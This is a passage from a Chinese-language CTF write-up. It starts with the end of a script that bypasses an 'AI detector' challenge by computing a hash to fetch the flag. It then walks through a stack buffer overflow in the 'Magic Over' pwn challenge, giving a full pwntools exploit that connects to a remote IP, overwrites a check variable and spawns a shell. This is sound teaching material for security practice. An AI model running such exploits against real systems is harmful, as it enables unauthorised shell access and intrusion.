resp = requests.get(url)
if resp.status_code == 200:
print(f"\n[+] SUCCESS! Flag: {resp.text.strip()}")
return resp.text.strip()
else:
print(f"[-] Failed: {resp.status_code}")
return None
if __name__ == "__main__":
print("""
╔═══════════════════════════════════════════════════════════╗
║ CTF AI Detector - Direct Flag Retrieval ║
║ Bypass: Calculate SHA256 hash directly ║
╚═══════════════════════════════════════════════════════════╝
""")
# 题目要求999轮全对
flag = get_flag(999, 999)
if not flag:
# 尝试其他可能的组合
print("\n[*] 尝试其他组合...")
for score, total in [(1000, 1000), (999, 1000), (100, 100)]:
print(f"\n--- 尝试 {score}/{total} ---")
result = get_flag(score, total)
if result:
break

Pwn
Magic Over
题目描述: 我们在对旧资产进行盘点时,发现了一个遗留的系统调试接口
1. 静态分析
看 main 函数中的关键部分:
-
栈布局:
sub rsp, 40h:栈空间分配了 0x40 (64) 字节s(输入缓冲区) 位于[rbp-0x40]var_8(校验变量) 位于[rbp-8]
-
初始状态:
mov [rbp+var_8], 4030201h:程序开始时将var_8初始化为0x4030201
-
输入漏洞:
call _fgets读取数据到[rbp-0x40],长度限制为0x40(64字节)
-
距离计算:
- 输入缓冲区
s起始地址:rbp - 0x40(十进制 -64) - 目标变量
var_8起始地址:rbp - 0x8(十进制 -8) - 偏移量 (Offset) = 64−8=56 字节
- 输入缓冲区
-
成功条件:
cmp [rbp+var_8], 0C0FEBABEh:如果var_8的值变成0xC0FEBABE,则执行system("/bin/sh")
2. 完整脚本
from pwn import *
# 设置目标架构和日志级别
context.arch = 'amd64'
context.log_level = 'debug'
# 连接远程题目
# IP: 47.122.52.77, PORT: 33533
io = remote('47.122.52.77', 33533)
# 偏移量计算: 0x40 - 0x08 = 56
offset = 56
# 目标值: 0xC0FEBABE
target_value = 0xC0FEBABE
# 构造 Payload
# 1. 填充 56 个字节到达 var_8 的位置
# 2. 写入 0xC0FEBABE (p64 会将其打包成 8字节小端序)
payload = b'A' * offset + p64(target_value)
# 接收输出直到提示输入
io.recvuntil(b"Enter data to overwrite buffer: ")
# 发送 Payload
io.sendline(payload)
# 进入交互模式 (拿到 shell)
io.interactive()
flag在环境变量里

Tagged: CTF